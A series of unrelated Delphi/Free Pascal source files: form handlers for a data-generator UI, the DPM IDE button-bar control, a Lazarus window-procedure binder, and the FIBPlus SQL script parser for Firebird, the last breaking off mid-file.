FieldSubTypeComboBox.AddItem(SUBTYPE_FIXEDWORDS_NAME, nil);
FieldSubTypeComboBox.AddItem(SUBTYPE_RANDOMWORDS_NAME, nil);
FieldSubTypeComboBox.AddItem(SUBTYPE_FIXEDALPHA_NAME, nil);
FieldSubTypeComboBox.AddItem(SUBTYPE_RANDOMALPHA_NAME, nil);
FieldSubTypeComboBox.AddItem(SUBTYPE_MASK_NAME, nil);
end else if (FieldTypeComboBox.Text = TYPE_SET_NAME) then begin
FieldSubTypeComboBox.AddItem(SUBTYPE_SET_FIXED, nil);
FieldSubTypeComboBox.AddItem(SUBTYPE_SET_FILE, nil);
end else if (FieldTypeComboBox.Text = TYPE_NET_NAME) then begin
FieldSubTypeComboBox.AddItem(SUBTYPE_IP_NAME, nil);
FieldSubTypeComboBox.AddItem(SUBTYPE_IPV6_NAME, nil);
FieldSubTypeComboBox.AddItem(SUBTYPE_MAC_NAME, nil);
end else if (FieldTypeComboBox.Text = TYPE_GUID_NAME) then begin
FieldSubTypeComboBox.AddItem(SUBTYPE_GUID_DASHES, nil);
FieldSubTypeComboBox.AddItem(SUBTYPE_GUID_NODASHES, nil);
end;
if (FieldSubTypeComboBox.Items.Count > 0) then FieldSubTypeComboBox.ItemIndex := 0;
FieldSubTypeComboBoxSelect(FieldSubTypeComboBox);
end;
procedure TMainForm.FieldUpButtonClick(Sender: TObject);
var
tmpString : string;
tmpObject : TObject;
begin
{ move the selected field up in order in the list }
if (FieldListBox.ItemIndex > 0) then begin
tmpString := FieldListBox.Items.Strings[FieldListBox.ItemIndex];
tmpObject := FieldListBox.Items.Objects[FieldListBox.ItemIndex];
FieldListBox.Items.Strings[FieldListBox.ItemIndex] := FieldListBox.Items.Strings[FieldListBox.ItemIndex-1];
FieldListBox.Items.Objects[FieldListBox.ItemIndex] := FieldListBox.Items.Objects[FieldListBox.ItemIndex-1];
FieldListBox.Items.Strings[FieldListBox.ItemIndex-1] := tmpString;
FieldListBox.Items.Objects[FieldListBox.ItemIndex-1] := tmpObject;
FieldListBox.ItemIndex := FieldListBox.ItemIndex-1;
end;
end;
procedure TMainForm.FormCloseQuery(Sender: TObject; var CanClose: boolean);
var
reply, boxStyle: integer;
begin
CanClose := false;
with Application do begin
boxStyle := MB_ICONQUESTION + MB_YESNO;
reply := MessageBox ('Are you sure you want to exit?', 'Exit?', boxStyle);
end;
if reply = IDYES then CanClose := true;
end; |
{***************************************************************************}
{ }
{ Delphi Package Manager - DPM }
{ }
{ Copyright © 2019 Vincent Parrett and contributors }
{ }
{ vincent@finalbuilder.com }
{ https://www.finalbuilder.com }
{ }
{ }
{***************************************************************************}
{ }
{ Licensed under the Apache License, Version 2.0 (the "License"); }
{ you may not use this file except in compliance with the License. }
{ You may obtain a copy of the License at }
{ }
{ http://www.apache.org/licenses/LICENSE-2.0 }
{ }
{ Unless required by applicable law or agreed to in writing, software }
{ distributed under the License is distributed on an "AS IS" BASIS, }
{ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. }
{ See the License for the specific language governing permissions and }
{ limitations under the License. }
{ }
{***************************************************************************}
unit DPM.Controls.ButtonBar;
interface
//TODO : use inc file when we move this under \IDE
{$IF CompilerVersion >= 24.0 }
{$LEGACYIFEND ON}
{$DEFINE STYLEELEMENTS}
{$IFEND}
uses
System.Classes,
Vcl.Controls,
Vcl.ExtCtrls,
Vcl.Themes,
DPM.Controls.GroupButton,
DPM.IDE.Types;
type
TDPMTabChangedEvent = procedure(const tab : TDPMCurrentTab) of object;
TDPMButtonBar = class(TPanel)
private
FButtonHeight : integer;
FInstalledButton : TDPMGroupButton;
FUpdatesButton : TDPMGroupButton;
FSearchButton : TDPMGroupButton;
FConflictsButton : TDPMGroupButton;
FOnTabChanged : TDPMTabChangedEvent;
protected
procedure SetShowConflictsTab(const Value: boolean);
function GetShowConflictsButton: boolean;
procedure DoTabChanged(Sender : TObject);
procedure LayoutButtons;
procedure ChangeScale(M: Integer; D: Integer{$if CompilerVersion >= 31}; isDpiChange: Boolean{$ifend}); override;
public
constructor Create(AOwner : TComponent);override;
procedure ThemeChanged(const ideStyleServices : TCustomStyleServices);
property ShowConflictsTab : boolean read GetShowConflictsButton write SetShowConflictsTab;
{$IF CompilerVersion >= 24.0}
{$LEGACYIFEND ON}
property StyleElements;
{$IFEND}
procedure SetCurrentTab(const tab : TDPMCurrentTab);
property OnTabChanged : TDPMTabChangedEvent read FOnTabChanged write FOnTabChanged;
end;
implementation
uses
ToolsAPI,
WinApi.Windows,
Vcl.Graphics,
Vcl.Forms;
{ TDPMButtonBar }
procedure TDPMButtonBar.ChangeScale(M, D: Integer{$if CompilerVersion >= 31}; isDpiChange: Boolean{$ifend});
begin
FButtonHeight := Muldiv(FButtonHeight, M, D);
LayoutButtons;
inherited;
end;
constructor TDPMButtonBar.Create(AOwner: TComponent);
begin
inherited;
//not published in older versions, so get removed when we edit in older versions.
{$IFDEF STYLEELEMENTS}
StyleElements := [seFont, seClient, seBorder];
{$ENDIF}
Align := alTop;
Height := 34;
BorderStyle := bsNone;
BevelInner := bvNone;
BevelOuter := bvNone;
FButtonHeight := 24;
// ParentBackground := false;
// ParentColor := false;
FInstalledButton := TDPMGroupButton.Create(Self);
FUpdatesButton := TDPMGroupButton.Create(Self);
FSearchButton := TDPMGroupButton.Create(Self);
FConflictsButton := TDPMGroupButton.Create(Self);
FInstalledButton.OnClick := DoTabChanged;
FUpdatesButton.OnClick := DoTabChanged;
FSearchButton.OnClick := DoTabChanged;
FConflictsButton.OnClick := DoTabChanged;
LayoutButtons;
end;
procedure TDPMButtonBar.DoTabChanged(Sender: TObject);
var
tab : TDPMCurrentTab;
begin
if Assigned(FOnTabChanged) then
begin
tab := TDPMCurrentTab(TDPMGroupButton(Sender).Tag);
FOnTabChanged(tab);
end;
end;
function TDPMButtonBar.GetShowConflictsButton: boolean;
begin
result := FConflictsButton.Visible;
end;
procedure TDPMButtonBar.LayoutButtons;
begin
FSearchButton.Top := 10;
FSearchButton.Left := 20;
FSearchButton.Height := FButtonHeight;
FSearchButton.Caption := 'Search';
FSearchButton.Tag := Ord(TDPMCurrentTab.Search);
FSearchButton.Parent := Self;
FInstalledButton.Top := 10;
FInstalledButton.Left := FSearchButton.Left + FSearchButton.Width + 20;
FInstalledButton.Height := FButtonHeight;
FInstalledButton.Caption := 'Installed';
FInstalledButton.Tag := Ord(TDPMCurrentTab.Installed);
FInstalledButton.Active := true;
FInstalledButton.Parent := Self;
FUpdatesButton.Top := 10;
FUpdatesButton.Left := FInstalledButton.Left + FInstalledButton.Width + 20;
FUpdatesButton.Height := FButtonHeight;
FUpdatesButton.Caption := 'Updates';
FUpdatesButton.Tag := Ord(TDPMCurrentTab.Updates);
FUpdatesButton.Parent := Self;
FConflictsButton.Top := 10;
FConflictsButton.Left := FUpdatesButton.Left + FUpdatesButton.Width + 20;
FConflictsButton.Height := FButtonHeight;
FConflictsButton.Caption := 'Conflicts';
FConflictsButton.Tag := Ord(TDPMCurrentTab.Conflicts);
FConflictsButton.Visible := false;
FConflictsButton.Parent := Self;
end;
procedure TDPMButtonBar.SetCurrentTab(const tab: TDPMCurrentTab);
begin
case tab of
TDPMCurrentTab.Search : FSearchButton.Active := true;
TDPMCurrentTab.Installed: FInstalledButton.Active := true ;
TDPMCurrentTab.Updates : FUpdatesButton.Active := true;
TDPMCurrentTab.Conflicts: FConflictsButton.Active := true;
end;
end;
procedure TDPMButtonBar.SetShowConflictsTab(const Value: boolean);
begin
FConflictsButton.Visible := Value;
end;
procedure TDPMButtonBar.ThemeChanged(const ideStyleServices : TCustomStyleServices);
begin
Self.Color := ideStyleServices.GetSystemColor(clBtnFace);
Self.Font.Color := ideStyleServices.GetSystemColor(clWindowText);
//
FSearchButton.Font.Color := ideStyleServices.GetSystemColor(clWindowText);
FInstalledButton.Font.Color := ideStyleServices.GetSystemColor(clWindowText);
FUpdatesButton.Font.Color := ideStyleServices.GetSystemColor(clWindowText);
FConflictsButton.Font.Color := ideStyleServices.GetSystemColor(clWindowText);
end;
end.
|
unit tvl_ucontrolbinder;
{$mode objfpc}{$H+}
interface
uses
Classes, SysUtils, Controls, LMessages, LCLProc;
const
LM_BEHAVEBINDER = LM_USER + $100;
LM_DISCONECTWINDOWPROC = LM_BEHAVEBINDER + 01;
type
{ TControlBinder }
TControlBinder = class
private type
PMethod = ^TMethod;
TLMBBWINDOWPROC = record
Msg: Cardinal;
{$ifdef cpu64}
UnusedMsg: Cardinal;
{$endif}
DisposedProc: PMethod;
StoredProc: PMethod;
Result: PtrInt;
end;
{ TNotificator }
TNotificator = class(TComponent)
private
fBinder: TControlBinder;
protected
procedure Notification(AComponent: TComponent; Operation: TOperation); override;
public
constructor Create(ABinder: TControlBinder); reintroduce;
end;
private
fControl: TControl;
fControlNotificator: TNotificator;
fOldWndProc: TWndMethod;
procedure HookWndPproc;
procedure UnhookWndProc;
protected
procedure ControlWndProc(var TheMessage: TLMessage);
procedure DoControlWndProc(var TheMessage: TLMessage); virtual;
property Control: TControl read fControl;
procedure BindControl; virtual;
procedure UnbindControl; virtual;
public
destructor Destroy; override;
procedure Bind(AControl: TControl);
procedure Unbind;
end;
implementation
type
{ TWinControlHelper }
TWinControlHelper = class helper for TWinControl
public
function H_IsControlMouseMsg(var TheMessage): Boolean;
end;
{ TWinControlHelper }
function TWinControlHelper.H_IsControlMouseMsg(var TheMessage): Boolean;
begin
Result := IsControlMouseMsg(TheMessage);
end;
{ TControlBinder }
procedure TControlBinder.HookWndPproc;
begin
//if (Control is TWinControl) or (Control.Parent = nil) then
begin
fOldWndProc := Control.WindowProc;
Control.WindowProc := @ControlWndProc;
end
//else
//begin
// fOldWndProc := Control.Parent.WindowProc;
// Control.Parent.WindowProc := @DoControlWndProc;
//end;
end;
procedure TControlBinder.UnhookWndProc;
var
mMsgWP: TLMBBWINDOWPROC;
mMsg: TLMessage absolute mMsgWP;
mdWndProc: TWndMethod;
begin
mdWndProc := @ControlWndProc;
if (TMethod(Control.WindowProc).Code = TMethod(mdWndProc).Code)
and (TMethod(Control.WindowProc).Data = TMethod(mdWndProc).Data) then
// this object hook belongs to this binder
Control.WindowProc := fOldWndProc
else
begin
// something hooked after me, so need to notify it to adjust its fOldWndProc
// (WndProc is method - so we need to compare code and data aswell)
mMsgWP.Msg := LM_DISCONECTWINDOWPROC;
mMsgWP.DisposedProc := @TMethod(mdWndProc);
mMsgWP.StoredProc := @TMethod(fOldWndProc);
mMsgWP.Result := 0;
Control.WindowProc(mMsg);
if mMsgWP.Result <> 1 then
raise Exception.Create('Problem with unhook windowproc from chain - superior hook not responsed');
end;
end;
procedure TControlBinder.ControlWndProc(var TheMessage: TLMessage);
var
mMsg: TLMBBWINDOWPROC absolute TheMessage;
begin
if TheMessage.msg = LM_DISCONECTWINDOWPROC then
begin
if (mMsg.DisposedProc^.Code = TMethod(fOldWndProc).Code)
and (mMsg.DisposedProc^.Data = TMethod(fOldWndProc).Data) then
begin
fOldWndProc := TWndMethod(mMsg.StoredProc^);
mMsg.Result := 1;
end
else
fOldWndProc(TheMessage);
end
else
begin
if not (Control is TWinControl)
or (TheMessage.msg = $1328) // donot know but when pagecontrol on this message call IsControlMouseMsg, then result is AV in there
or not (Control as TWinControl).H_IsControlMouseMsg(TheMessage) then
begin
//DbgOut(Control.ClassName + '.' + Control.Name + ' ' + inttostr(TheMessage.msg));
DoControlWndProc(TheMessage);
end
else
fOldWndProc(TheMessage);
end;
end;
procedure TControlBinder.DoControlWndProc(var TheMessage: TLMessage);
begin
fOldWndProc(TheMessage);
end;
procedure TControlBinder.BindControl;
begin
end;
procedure TControlBinder.UnbindControl;
begin
end;
destructor TControlBinder.Destroy;
begin
Unbind;
FreeAndNil(fControlNotificator);
inherited Destroy;
end;
procedure TControlBinder.Bind(AControl: TControl);
begin
fControl := AControl;
HookWndPproc;
FreeAndNil(fControlNotificator);
fControlNotificator := TNotificator.Create(Self);
BindControl;
end;
procedure TControlBinder.Unbind;
begin
if fControl <> nil then
begin
FreeAndNil(fControlNotificator);
UnbindControl;
UnhookWndProc;
fControl := nil;
end;
end;
{ TControlBinder.TNotificator }
procedure TControlBinder.TNotificator.Notification(AComponent: TComponent;
Operation: TOperation);
begin
inherited Notification(AComponent, Operation);
if (Operation = opRemove) and (AComponent = fBinder.Control) then
begin
fBinder.Unbind;
end;
end;
constructor TControlBinder.TNotificator.Create(ABinder: TControlBinder);
begin
inherited Create(nil);
fBinder := ABinder;
fBinder.Control.FreeNotification(Self);
end;
end.
|
{*************************************************}
{ }
{ FIBPlus Script, version 1.4 }
{ }
{ Copyright by Nikolay Trifonov, 2003-2004 }
{ }
{ E-mail: t_nick@mail.ru }
{ }
{*************************************************}
//Interbase_driver_FIBPlus.dll
// Латаное перелатаное говно!
unit pFIBScript;
interface
uses
Dialogs, SysUtils, Classes, pFIBDatabase, pFIBDataset, pFIBQuery, FIBQuery {-> dk, IB_Services <- dk};
type
TpFIBScript = class;
TpFIBParseKind = (stmtDDL, stmtDML, stmtSET, stmtCONNECT, stmtDrop,
stmtCREATE, stmtALTER, stmtINPUT, stmtUNK, stmtEMPTY, stmtTERM, stmtERR,
stmtCOMMIT, stmtROLLBACK, stmtReconnect, stmtDisconnect,stmtBatchStart, stmtBatchExec);
TpFIBAfterError = (aeCommit, aeRollback);
TpFIBSQLParseError = procedure(Sender: TObject; Error: string; SQLText: string;
LineIndex: Integer) of object;
TpFIBSQLExecuteError = procedure(Sender: TObject; Error: string; SQLText:
string;
LineIndex: Integer; var Ignore: Boolean; var Action: TpFIBAfterError) of object;
TpFIBSQLParseStmt = procedure(Sender: TObject; AKind: TpFIBParseKind; const SQLText:
string) of object;
TpFIBScriptParamCheck = procedure(Sender: TpFIBScript; var Pause: Boolean) of
object;
TpFIBSQLAfterExecute = procedure(Sender: TObject; AKind: TpFIBParseKind;
ATokens: TStrings; ASQLText: string) of object;
TpFIBSQLParser = class(TComponent)
private
FOnError: TpFIBSQLParseError;
FOnParse: TpFIBSQLParseStmt;
FScript, FInput: TStrings;
FTerminator: string;
FPaused: Boolean;
FFinished: Boolean;
FLineProceeding: Integer;
procedure SetScript(const Value: TStrings);
procedure SetPaused(const Value: Boolean);
function GetInputStringCount: Integer;
{ Private declarations }
private
FTokens: TStrings;
FWork: string;
ScriptIndex, LineIndex, ImportIndex: Integer;
InInput: Boolean;
FEndLine: Integer;
FInStrComment: Boolean;
//Get Tokens plus return the actual SQL to execute
function TokenizeNextLine: string;
// Return the Parse Kind for the Current tokenized statement
function IsValidStatement: TpFIBParseKind;
procedure RemoveComment;
function AppendNextLine: Boolean;
procedure LoadInput;
protected
{ Protected declarations }
procedure DoOnParse(AKind: TpFIBParseKind; SQLText: string); virtual;
procedure DoOnError(Error: string; SQLText: string); virtual;
procedure DoParser;
public
{ Public declarations }
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
procedure Parse;
property EndLine: Integer read FEndLine;
property CurrentLine: Integer read LineIndex;
property CurrentTokens: TStrings read FTokens;
property LineProceeding: Integer read FLineProceeding;
property InputStringCount: Integer read GetInputStringCount;
published
{ Published declarations }
property Finished: Boolean read FFinished;
property Paused: Boolean read FPaused write SetPaused;
property Script: TStrings read FScript write SetScript;
property Terminator: string read FTerminator write FTerminator;
property OnParse: TpFIBSQLParseStmt read FOnParse write FOnParse;
property OnError: TpFIBSQLParseError read FOnError write FOnError;
end;
TpFIBScriptStats = class
private
FBuffers: int64;
FReadIdx: int64;
FWrites: int64;
FFetches: int64;
FSeqReads: int64;
FReads: int64;
FDeltaMem: int64;
FStartBuffers: int64;
FStartReadIdx: int64;
FStartWrites: int64;
FStartFetches: int64;
FStartSeqReads: int64;
FStartReads: int64;
FStartingMem : Int64;
FDatabase: TpFIBDatabase;
procedure SetDatabase(const Value: TpFIBDatabase);
function AddStringValues( list : TStrings) : int64;
public
procedure Start;
procedure Clear;
procedure Stop;
property Database : TpFIBDatabase read FDatabase write SetDatabase;
property Buffers : int64 read FBuffers;
property Reads : int64 read FReads;
property Writes : int64 read FWrites;
property SeqReads : int64 read FSeqReads;
property Fetches : int64 read FFetches;
property ReadIdx : int64 read FReadIdx;
property DeltaMem : int64 read FDeltaMem;
property StartingMem : int64 read FStartingMem;
end;
TDynArray= array of string;
TpFIBScript = class(TComponent)
private
FSQLParser: TpFIBSQLParser;
FAutoDDL: Boolean;
// FBlobFile: TMappedMemoryStream;
FBlobFile: TFileStream;
FBlobFileName: string;
FStatsOn: boolean;
FDataset: TpFIBDataset;
FDatabase: TpFIBDatabase;
FOnError: TpFIBSQLParseError;
FOnParse: TpFIBSQLParseStmt;
FDDLTransaction: TpFIBTransaction;
FTransaction: TpFIBTransaction;
FTerminator: string;
FDDLQuery, FDMLQuery: TpFIBQuery;
FContinue: Boolean;
FOnExecuteError: TpFIBSQLExecuteError;
FOnParamCheck: TpFIBScriptParamCheck;
FValidate, FValidating: Boolean;
FStats: TpFIBScriptStats;
FSQLDialect : Integer;
FCharSet : String;
FLastDDLLog : String;
FLastDMLLog : String;
FCurrentStmt: TpFIBParseKind;
FExecuting : Boolean;
FAfterExecute: TpFIBSQLAfterExecute;
FBatchSQLs :TDynArray;
FInBatch :boolean;
function GetPaused: Boolean;
procedure SetPaused(const Value: Boolean);
procedure SetTerminator(const Value: string);
// procedure SetupNewConnection;
procedure SetDatabase(const Value: TpFIBDatabase);
procedure SetTransaction(const Value: TpFIBTransaction);
function StripQuote(const Text: string): string;
function GetScript: TStrings;
procedure SetScript(const Value: TStrings);
function GetSQLParams: TFIBXSQLDA;
procedure SetStatsOn(const Value: boolean);
function GetTokens: TStrings;
function GetSQLParser: TpFIBSQLParser;
procedure SetSQLParser(const Value: TpFIBSQLParser);
procedure SetBlobFileName(const Value: string);
function GetLineProceeding: Integer;
function GetInputStringCount: Integer;
protected
procedure Notification(AComponent: TComponent;
Operation: TOperation); override;
procedure DoDML(const Text: string); virtual;
procedure DoDDL(const Text: string); virtual;
procedure DoSET(const Text: string); virtual;
procedure DoConnect(const SQLText: string); virtual;
procedure DoDisconnect; virtual;
procedure DoCreate(const SQLText: string); virtual;
procedure DoReconnect; virtual;
procedure DropDatabase(const SQLText: string); virtual;
procedure ParserError(Sender: TObject; Error, SQLText: string;
LineIndex: Integer);
procedure ParserParse(Sender: TObject; AKind: TpFIBParseKind;
const SQLText: string);
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
function ValidateScript: Boolean;
procedure ExecuteScript;
function ParamByName(Idx : String) : TFIBXSQLVAR;
property Paused: Boolean read GetPaused write SetPaused;
property Params: TFIBXSQLDA read GetSQLParams;
property Stats : TpFIBScriptStats read FStats;
property CurrentTokens : TStrings read GetTokens;
property Validating : Boolean read FValidating;
property LineProceeding: Integer read GetLineProceeding;
property InputStringCount: Integer read GetInputStringCount;
published
property AutoDDL: Boolean read FAutoDDL write FAutoDDL default true;
property BlobFileName: string read FBlobFileName write SetBlobFileName;
property Dataset: TpFIBDataset read FDataset write FDataset;
property Database: TpFIBDatabase read FDatabase write SetDatabase;
property LastDDLQueryLog: String read FLastDDLLog write FLastDDLLog;
property LastDMLQueryLog: String read FLastDMLLog write FLastDMLLog;
property Transaction: TpFIBTransaction read FTransaction write SetTransaction;
property Terminator: string read FTerminator write SetTerminator;
property Script: TStrings read GetScript write SetScript;
property Statistics: boolean read FStatsOn write SetStatsOn default true;
property SQLDialect: Integer read FSQLDialect write FSQLDialect default 3;
property SQLParser: TpFIBSQLParser read GetSQLParser write SetSQLParser;
property OnParse: TpFIBSQLParseStmt read FOnParse write FOnParse;
property OnParseError: TpFIBSQLParseError read FOnError write FOnError;
property OnExecuteError: TpFIBSQLExecuteError read FOnExecuteError write
FOnExecuteError;
property AfterExecute: TpFIBSQLAfterExecute read FAfterExecute write FAfterExecute;
property OnParamCheck: TpFIBScriptParamCheck read FOnParamCheck write
FOnParamCheck;
end;
implementation
uses FIB, FIBConsts;
const
QUOTE = '''';
DBL_QUOTE = '"';
resourcestring
SFIBInvalidStatement = 'Invalid statement';
SFIBInvalidComment = 'Invalid Comment';
{ TpFIBSQLParser }
function TpFIBSQLParser.AppendNextLine: Boolean;
var
FStrings: TStrings;
FIndex: ^Integer;
begin
if (FInput.Count > ImportIndex) then begin
InInput := true;
FStrings := FInput;
FIndex := @ImportIndex;
end else begin
InInput := false;
FStrings := FScript;
FIndex := @ScriptIndex;
end;
FLineProceeding := FIndex^;
if FIndex^ = FStrings.Count then Result := false
else begin
Result := true;
repeat
FWork := FWork + CRLF + FStrings[FIndex^];
Inc(FIndex^);
until (FIndex^ = FStrings.Count) or
(Trim(FWork) <> '');
end;
FInStrComment := False;
end;
constructor TpFIBSQLParser.Create(AOwner: TComponent);
begin
inherited;
FScript := TStringList.Create;
FTokens := TStringList.Create;
FInput := TStringList.Create;
ImportIndex := 0;
FTerminator := ';'; {do not localize}
FLineProceeding := 0;
end;
destructor TpFIBSQLParser.Destroy;
begin
FScript.Free;
FTokens.Free;
FInput.Free;
inherited;
end;
procedure TpFIBSQLParser.DoOnError(Error, SQLText: string);
begin
if Assigned(FOnError) then FOnError(Self, Error, SQLText, LineIndex);
end;
procedure TpFIBSQLParser.DoOnParse(AKind: TpFIBParseKind; SQLText: string);
begin
if Assigned(FOnParse) then FOnParse(Self, AKind, SQLText);
end;
procedure TpFIBSQLParser.DoParser;
var
Stmt: TpFIBParseKind;
Statement: string;
i: Integer;
function GetObjectDescription: string;
var
L: Integer;
begin
Result := FTokens[3];
for L := 4 to FTokens.Count - 1 do
Result := Result + #13#10 + FTokens[L];
end;
function GetFieldDescription: string;
var
L: Integer;
begin
Result := FTokens[5];
for L := 6 to FTokens.Count - 1 do
Result := Result + #13#10 + FTokens[L];
end;
begin
while ((ScriptIndex < FScript.Count) or
(Trim(FWork) <> '') or
(ImportIndex < FInput.Count)) and not FPaused do
begin
Statement := TokenizeNextLine;
Stmt := IsValidStatement;
case Stmt of
// stmtERR:
// DoOnError(SFIBInvalidStatement, Statement);
stmtTERM:
begin
DoOnParse(Stmt, FTokens[2]);
FTerminator := FTokens[2];
end;
stmtINPUT:
try
LoadInput;
except
on E: Exception do DoOnError(E.Message, Statement);
end;
stmtEMPTY:
Continue;
stmtSET:
begin
Statement := '';
for i := 1 to FTokens.Count - 1 do Statement := Statement + FTokens[i] + ' ';
Statement := TrimRight(Statement);
DoOnParse(Stmt, Statement);
end;
else
begin
if (FTokens[0]='DESCRIBE') then
begin
if (FTokens[1]='DOMAIN') then
Statement := 'UPDATE RDB$FIELDS SET RDB$DESCRIPTION = '+GetObjectDescription+' WHERE (RDB$FIELD_NAME = '''+FTokens[2]+''')'
else
if (FTokens[1]='TABLE') then
Statement := 'UPDATE RDB$RELATIONS SET RDB$DESCRIPTION = '+GetObjectDescription+' WHERE (RDB$RELATION_NAME = '''+FTokens[2]+''')'
else
if (FTokens[1]='VIEW') then
Statement := 'UPDATE RDB$RELATIONS SET RDB$DESCRIPTION = '+GetObjectDescription+' WHERE (RDB$RELATION_NAME = '''+FTokens[2]+''')'
else
if (FTokens[1]='PROCEDURE') then
Statement := 'UPDATE RDB$PROCEDURES SET RDB$DESCRIPTION = '+GetObjectDescription+' WHERE (RDB$PROCEDURE_NAME = '''+FTokens[2]+''')'
else
if (FTokens[1]='TRIGGER') then
Statement := 'UPDATE RDB$TRIGGERS SET RDB$DESCRIPTION = '+GetObjectDescription+' WHERE (RDB$TRIGGER_NAME = '''+FTokens[2]+''')'
else
if (FTokens[1]='EXCEPTION') then
Statement := 'UPDATE RDB$EXCEPTIONS SET RDB$DESCRIPTION = '+GetObjectDescription+' WHERE (RDB$EXCEPTION_NAME = '''+FTokens[2]+''')'
else
if (FTokens[1]='FUNCTION') then
Statement := 'UPDATE RDB$FUNCTIONS set RDB$DESCRIPTION = '+GetObjectDescription+' WHERE (RDB$FUNCTION_NAME = '''+FTokens[2]+''')'
else
if (FTokens[1]='FIELD') then
Statement := 'UPDATE RDB$RELATION_FIELDS SET RDB$DESCRIPTION = '+GetFieldDescription+' WHERE (RDB$RELATION_NAME = '''+FTokens[4]+''') AND (RDB$FIELD_NAME = '''+FTokens[2]+''')'
else
if (FTokens[1]='PARAMETER') then
Statement := 'UPDATE RDB$PROCEDURE_PARAMETERS SET RDB$DESCRIPTION = '+GetFieldDescription+' WHERE (RDB$PROCEDURE_NAME = '''+FTokens[4]+''') AND (RDB$PARAMETER_NAME = '''+FTokens[2]+''')'
end;
DoOnParse(stmt, Statement);
end;
end;
end;
end;
function TpFIBSQLParser.IsValidStatement: TpFIBParseKind;
var
Token, Token1, Token2, Token3, Token4: String;
begin
if FTokens.Count = 0 then
begin
Result := stmtEmpty;
Exit;
end;
Token := UpperCase(FTokens[0]);
if Length(Token)>0 then
case Token[1] of
'C':
if Token = 'COMMIT' then {do not localize}
begin
Result := stmtCOMMIT;
exit;
end;
'D':
if Token = 'DISCONNECT' then
begin
Result := stmtDisconnect;
Exit;
end;
'R':
if Token = 'ROLLBACK' then {do not localize}
begin
Result := stmtROLLBACK;
Exit;
end
else
if Token = 'RECONNECT' then
begin
Result := stmtReconnect;
Exit;
end;
end;
if (FTokens.Count>=2) then Token1 := UpperCase(FTokens[1]);
if (FTokens.Count>=3) then Token2 := UpperCase(FTokens[2]);
if (FTokens.Count>=4) then Token3 := UpperCase(FTokens[3]);
if (FTokens.Count>=5) then Token4 := UpperCase(FTokens[4]);
// if FTokens.Count < 2 then begin
// Result := stmtERR;
// Exit;
// end;
if (Token = 'BATCH') then
begin
if (Token1 = 'START') then
Result := stmtBatchStart
else
if (Token1 = 'EXECUTE') then
Result := stmtBatchExec
else
Result := stmtERR;
end
else
if (Token = 'INSERT') or (Token = 'DELETE') or {do not localize}
(Token = 'SELECT') or (Token = 'UPDATE') or {do not localize}
(Token = 'EXECUTE') or (Token = 'DESCRIBE') or {do not localize}
((Token = 'EXECUTE') and (Token1 = 'PROCEDURE')) or
((Token = 'ALTER') and (Token1 = 'TRIGGER') and ((Token3 = 'INACTIVE') or (Token3 = 'ACTIVE')) and (Token4 = {';'}FTerminator)) then {do not localize}//Mybe so: Token4 = FTreminator ?//Pavel
Result := stmtDML
else
if Token = 'INPUT' then {do not localize}
Result := stmtINPUT
else
if Token = 'CONNECT' then {do not localize}
Result := stmtCONNECT
else
if (Token = 'CREATE') and
((Token1 = 'DATABASE') or (Token1 = 'SCHEMA')) then {do not localize}
Result := stmtCREATE
else
if (Token = 'DROP') and (Token1 = 'DATABASE') then {do not localize}
Result := stmtDROP
else
if (Token = 'DECLARE') or (Token = 'CREATE') or (Token = 'ALTER') or {do not localize}
// -> dk
(Token = 'RECREATE') or
// <- dk
(Token = 'GRANT') or (Token = 'REVOKE') or (Token = 'DROP') or {do not localize}
((Token = 'SET') and ((Token1 = 'GENERATOR'))) or {do not localize}
((Token = 'CREATE') and (Token1 = 'OR') and (Token2 = 'ALTER')) then {do not localize}
Result := stmtDDL
else
if (Token = 'SET') then {do not localize}
begin
if (Token1 = 'TERM') then {do not localize}
if FTokens.Count = 3 then
Result := stmtTERM
else
Result := stmtERR
else
if (Token1 = 'SQL') then {do not localize}
if (FTokens.Count = 4) and
(Token2 = 'DIALECT') then {do not localize}
Result := stmtSET
else
Result := stmtERR
else
if (Token1 = 'STATISTICS') then {do not localize}
if (FTokens.Count = 4) and (Token2 = 'INDEX') then {do not localize}
Result := stmtSET
else
Result := stmtERR
else
if (Token1 = 'AUTODDL') or {do not localize}
(Token1 = 'BLOBFILE') or {do not localize}
(Token1 = 'NAMES') then {do not localize}
if FTokens.Count = 3 then
Result := stmtSET
else
Result := stmtERR
else
Result := stmtERR;
end
else
Result := stmtERR;
end;
procedure TpFIBSQLParser.LoadInput;
var
FileName: string;
begin
FInput.Clear;
ImportIndex := 0;
if FTokens.Count > 1 then
begin
FileName := FTokens[1];
if FileName[1] in [QUOTE, DBL_QUOTE] then Delete(FileName, 1, 1);
if FileName[Length(FileName)] in [QUOTE, DBL_QUOTE] then Delete(FileName, Length(FileName), 1);
FInput.LoadFromFile(FileName);
end;
end;
procedure TpFIBSQLParser.Parse;
begin
ScriptIndex := 0;
ImportIndex := 0;
FInput.Clear;
FPaused := false;
FWork := '';//при останове или ошибке оставался кусок стейтмента и при следующем запуске давал такие ошибки, что и не снилось
FTerminator := ';'; //при останове или ошибке "застревал" старый терминатор и при повторном запуске нихрена не парсилось
// перенесено на сторону SHCL
DoParser;
end;
procedure TpFIBSQLParser.RemoveComment;
var
Start, Start1, Ending: Integer;
begin
FWork := TrimLeft(FWork);
Start := AnsiPos('/*', FWork); {do not localize}
Start1 := AnsiPos('--', FWork); {do not localize}
while (Start = 1) or (Start1 = 1) do begin
if (Start = 1) then
begin
Ending := AnsiPos('*/', FWork); {do not localize}
while Ending < Start do begin
if AppendNextLine = false then
raise Exception.Create(SFIBInvalidComment);
Ending := AnsiPos('*/', FWork); {do not localize}
end;
Delete(FWork, Start, Ending - Start + 2);
FWork := TrimLeft(FWork);
if FWork = '' then AppendNextLine;
FWork := TrimLeft(FWork);
Start := AnsiPos('/*', FWork); {do not localize}
Start1 := AnsiPos('--', FWork); {do not localize}
end
else
begin
FWork := '';
AppendNextLine;
FWork := TrimLeft(FWork);
Start := AnsiPos('/*', FWork); {do not localize}
Start1 := AnsiPos('--', FWork); {do not localize}
end;
end;
FWork := TrimLeft(FWork);
// if AnsiPos('--', FWork) = 1 then
// FWork := '';
// while FWork = '' do
// begin
// if not AppendNextLine then Break;
// if AnsiPos('--', FWork) = 1 then
// FWork := '';
// end;
end;
procedure TpFIBSQLParser.SetPaused(const Value: Boolean);
begin
if FPaused <> Value then begin
FPaused := Value;
if not FPaused then DoParser;
end;
end;
function TpFIBSQLParser.GetInputStringCount: Integer;
